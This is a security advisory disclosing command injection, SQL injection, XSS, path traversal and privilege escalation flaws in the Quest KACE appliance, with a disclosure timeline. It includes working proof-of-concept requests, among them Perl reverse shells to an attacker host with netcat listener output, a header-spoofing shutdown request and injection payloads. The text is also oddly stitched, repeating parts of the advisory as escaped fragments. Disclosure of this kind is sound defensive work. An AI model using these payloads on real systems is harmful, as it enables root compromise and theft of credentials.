Vulnerability Description

From Quest KACE's website:

"The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement."

Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user.

Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7.

Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability.

CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk.

We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices.

These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.

Technical Description / Proof of Concept Code

Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective.

Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user.

Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token.

In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device.

Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11).

7.1.

The script receives the following parameters via the GET method:

. platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent

The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'.

As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query.

Preparing payload:

/----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/

The following proof of concept executes a reverse shell:

/----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/

7.3. PHP Object Injection leading to arbitrary command execution

[CVE-2018-11135] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects.

To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue.

7.4. Privilege escalation via password change in Sudo Server

[CVE-2018-11134] In order to perform actions that requires higher privileges, the application relies on a message queue managed that runs with root privileges and only allows a set of commands.

One of the available commands allows to change any user's password (including root).

Assuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges.

7.5. Privilege escalation via command injection in Sudo Server

[CVE-2018-11132] As mentioned in the issue [7.4], in order to perform actions that require higher privileges, the application relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed.

7.6. Insufficient Authorization for critical function

[CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers.

The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user:

/----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/

7.7. Unauthenticated SQL Injection in download_agent_installer.php

[CVE-2018-11136] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type.

The following proof of concept induces a time delay:

/----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/

7.8. SQL Injection in run_report.php

[CVE-2018-11140] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type.

The following proof of concept retrieves the current database name:

7.9. Unauthenticated Cross Site Scriting in run_cross_report.php

[CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting.

The following proof of concept demonstrates the vulnerability:

/----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/

7.10. Path traversal in download_attachment.php leading to arbitrary file read

[CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script.

It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords.

7.11. Path traversal in advisory.php leading to arbitrary file creation/deletion

[CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions.

File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not.

The following proof of concept demonstrates the vulnerability:

/----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1

Report Timeline 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published.

KACE can fulfill\nall of your organization\u0027s systems management needs, from initial deployment\nto ongoing management and retirement.\"\n\nMultiple vulnerabilities were found in the Quest KACE System Management\nVirtual Appliance that would allow a remote attacker to gain command\nexecution as root. We present three vectors to achieve this, including\none that can be exploited as an unauthenticated user. \n\nAdditional web application vulnerabilities were found in the web console\nthat is bundled with the product. These vulnerabilities are detailed in\nsection 7. \n\nNote: This advisory has limited details on the vulnerabilities because\nduring the attempted coordinated disclosure process, Quest advised us not\nto distribute our original findings to the public or else they would\ntake legal action. Quest\u0027s definition of \"responsible disclosure\" can be\nfound at\nhttps://support.quest.com/essentials/reporting-security-vulnerability. \n\nCoreLabs has been publishing security advisories since 1997 and believes\nin coordinated disclosure and good faith collaboration with software vendors\nbefore disclosure to help ensure that a fix or workaround solution is ready\nand available when the vulnerability details are publicized. We believe\nthat providing technical details about each finding is necessary to provide\nusers and organizations with enough information to understand the\nimplications\nof the vulnerabilities against their environment and, most importantly, to\nprioritize the remediation activities aiming at mitigating risk. \n\nWe regret Quest\u0027s posture on disclosure during the whole process (detailed\nin the Report Timeline section) and the lack of a possibility of engaging\ninto a coordinated publication date, something we achieve (and have\nachieved) with many vendors as part of our coordinated disclosure practices. \n\n4. *Vulnerable Packages*\n\n. Quest KACE System Management Appliance 8.0 (Build 8.0.318)\nOther products and versions might be affected too, but they were not tested. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nQuest reports that it has released the security vulnerability patch\nSEC2018_20180410 to address the reported vulnerabilities. \nPatch can be download at\nhttps://support.quest.com/download-install-detail/6086148. \n\nFor more details, Quest published the following Security Note:\nhttps://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410-\n\n6. *Credits*\n\nThese vulnerabilities were discovered and researched by Leandro Barragan\nand Guido Leo from Core Security Consulting Services. The publication of\nthis advisory was coordinated by Leandro Cuozzo from Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\nQuest KACE SMA ships with a web console that provides administrators and\nusers with several features. Multiple vulnerabilities were found in the\ncontext of this console, both from an authenticated and unauthenticated\nperspective. \n\nSection 7.1 describes how an unauthenticated attacker could gain command\nexecution on the system as the web server user. \n\nVulnerabilities described in 7.2 and 7.3 could also be abused to gain code\nexecution but would require the attacker to have a valid authentication\ntoken. \n\nIn addition, issues found in the Sudo Server module presented in 7.4 and\n7.5 would allow the attacker to elevate his privileges from the web server\nuser to root, effectively obtaining full control of the device. \n\nAdditional web application vulnerabilities were found in the console, such\nas insufficient authorization for critical functions, which would allow an\nanonymous attacker to reconfigure the appliance (7.6), SQL injection\nvulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path\ntraversal vulnerabilities, which would allow an attacker to read, write and\ndelete arbitrary files (7.9, 7.10, 7.11). \n\n7.1. \n\nThe script receives the following parameters via the GET method:\n\n. platform: Indicates the platform in which the agent is going to be\ninstalled\n. serv: SHA256 hash of a fixed value that depends of each appliance\n. orgid: Organization ID\n. version: Version number of the agent\n\nThe last two conditions are simple to meet. The Agent versions are publicly\navailable within the Quest KACE site, but even if they were not, we found\nthat the Organization ID parameter is vulnerable to a time based SQL\ninjection\n(refer to issue 7.7). \nThis would make it possible to obtain the agent version by querying the\ntable \u0027CLIENT_DISTRIBUTION\u0027 and fetching the contents of the \u0027VERSION\u0027\ncolumn. The Organization ID is 1 by default, but could be obtained in the\nsame way as the Agent version by querying the table \u0027ORGANIZATION\u0027 and\nthe column \u0027ID\u0027. \n\nAs stated above, the application uses the Organization ID and Agent\nversion parameters to execute commands. This means we need to find a way\nto append system commands within the Organization ID, without breaking the\nSQL query. If we use the comment symbol (#), we can append anything we want\nwithout affecting the result of the query. \n\nPreparing payload:\n\n/-----\n- platform = windows\n- serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c\n- orgid = 1#;perl -e \u0027use\nSocket;$i=\"[AttackerIP]\";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/bash\n-i\");};\u0027;\n- version = 8.0.152 (last agent version available for windows)\n-----/\n\nThe following proof of concept executes a reverse shell:\n\n/-----\nGET\n/common/download_agent_installer.php?platform=windows\u0026serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c\u0026orgid=1%23%3bperl+-e+\u0027use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e%26S\")%3bopen(STDOUT,\"\u003e%26S\")%3bopen(STDERR,\"\u003e%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b\u0027%3b\u0026version=8.0.152\nHTTP/1.1\nHost: Server\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 0\n-----/\n\n/-----\n$ nc -lvp 8080\nListening on [0.0.0.0] (family 0, port 8080)\nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,\nsport 20050)\nsh: can\u0027t access tty; job control turned off\n$ id\nuid=80(www) gid=80(www) groups=80(www)\n-----/\n\n7.2. \n\nThe following proof of concept executes a reverse shell:\n\n/-----\nPOST /common/ajax_email_connection_test.php HTTP/1.1\nHost: [ServerIP]\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 416\nCookie: [Cookie]\nConnection: close\n\nTEST_SERVER=test;perl+-e+\u0027use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e%26S\")%3bopen(STDOUT,\"\u003e%26S\")%3bopen(STDERR,\"\u003e%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b\u0027;\u0026TEST_PORT=587\u0026TEST_USERNAME=eaea@eaea.com\u0026TEST_PASSWORD=1234\u0026TEST_OLD_PASSWORD=\u0026QUEUE_ID=1\u0026TEST_TO_EMAIL=eaea@eaea.com\u0026ACTION=TEST_CONNECTION_SMTP\n-----/\n\n/-----\n$ nc -lvp 8080\nListening on [0.0.0.0] (family 0, port 8080)\nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2,\nsport 20050)\nsh: can\u0027t access tty; job control turned off\n$ id\nuid=80(www) gid=80(www) groups=80(www)\n-----/\n\n7.3. *PHP Object Injection leading to arbitrary command execution*\n\n[CVE-2018-11135]\nAn authenticated user could abuse a deserialization call on the script\n\u0027/adminui/error_details.php\u0027 to inject arbitrary PHP objects. \n\nTo exploit this issue, the parameter \u0027ERROR_MESSAGES\u0027 needs to be an array\nand meet some specific conditions in order to successfully exploit the\nissue. \n\n7.4. *Privilege escalation via password change in Sudo Server*\n\n[CVE-2018-11134]\nIn order to perform actions that requires higher privileges, the application\nrelies on a message queue managed that runs with root privileges and only\nallows a set of commands. \n\nOne of the available commands allows to change any user\u0027s password\n(including root). \n\nAssuming we are able to run commands in the server, we could abuse this\nfeature by changing the password of the \u0027kace_support\u0027 account, which\ncomes disabled by default but has full sudo privileges. \n\n7.5. *Privilege escalation via command injection in Sudo Server*\n\n[CVE-2018-11132]\nAs mentioned in the issue [7.4], in order to perform actions that require\nhigher privileges, the application relies on a message queue that runs\ndaemonized with root privileges and only allows a set of commands to be\nexecuted. \n\n7.6. *Insufficient Authorization for critical function*\n\n[CVE-2018-11142]\n\u0027systemui/settings_network.php\u0027 and \u0027systemui/settings_patching.php\u0027\nscripts are accessible only from localhost.

Finally, Quest asked for information about the\nresearcher that found the vulnerabilities and a link of Core\u0027s choosing\nin order to be included in Quest\u0027s Acknowledgment page\n(https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). \n2018-04-16: Core answered email from 2018-03-26 stating the company is\nfollowing standard practices with regards to coordinated vulnerability\ndisclosure, and also sent detailed technical information about our findings\nat Quest\u0027s request. Core also mentioned Quest seems to be well versed in\nthe disclosure process and expects vendors to coordinate with it prior to\npublication via Quest\u0027s vulnerability reporting process, and that Quest\u0027s\nlegal threat appears to be in direct contradiction to the disclosure\nprocess that they encourage on their website. Finally, Core asked about\nQuest\u0027s intention to work collaboratively to address these vulnerabilities\nand to follow industry standard disclosure processes that involves\npublication of the vulnerabilities. \n2018-04-17: Quest\u0027s KACE PM replied saying it is willing to collaborate\nand is looking forward to having a conversation over the phone in order to\ncontinue the next steps in its vulnerability process (forwarded email from\n2018-04-13). \n2018-04-17: Core thanked the answer and stated the willingness of keeping\nwritten communications between parties in order to better document the\nprocess and communicated the next steps of the process including: 1. Testing\nthe fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor\u0027s link to be\nincluded in the advisory and finally 4. Send final advisory version to\nvendor and coordinate publication date together. With regards to Quest\u0027s\nrequests, Core provided the researchers names and URL of the advisory when\nit will be published. Finally, Core stated that the request for other Core\ncompany services could be forwarded to the Core services team if needed\n(and asked the right contact at Quest) but our intention is to keep that\nservices request separate from the coordinated disclosure process. \n2018-04-18: Quest Support informed that they had publicly made available\npatches for its customers and unilaterally closed the case. \n2018-05-31: Advisory CORE-2018-0004 published. \n\n9. *References*\n\n[1] https://www.quest.com/products/kace-systems-management-appliance/\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security, is charged with anticipating\nthe future needs and requirements for information security technologies. \nWe conduct our research in several important areas of computer security\nincluding system vulnerabilities, cyber-attack planning and simulation,\nsource code auditing, and cryptography.
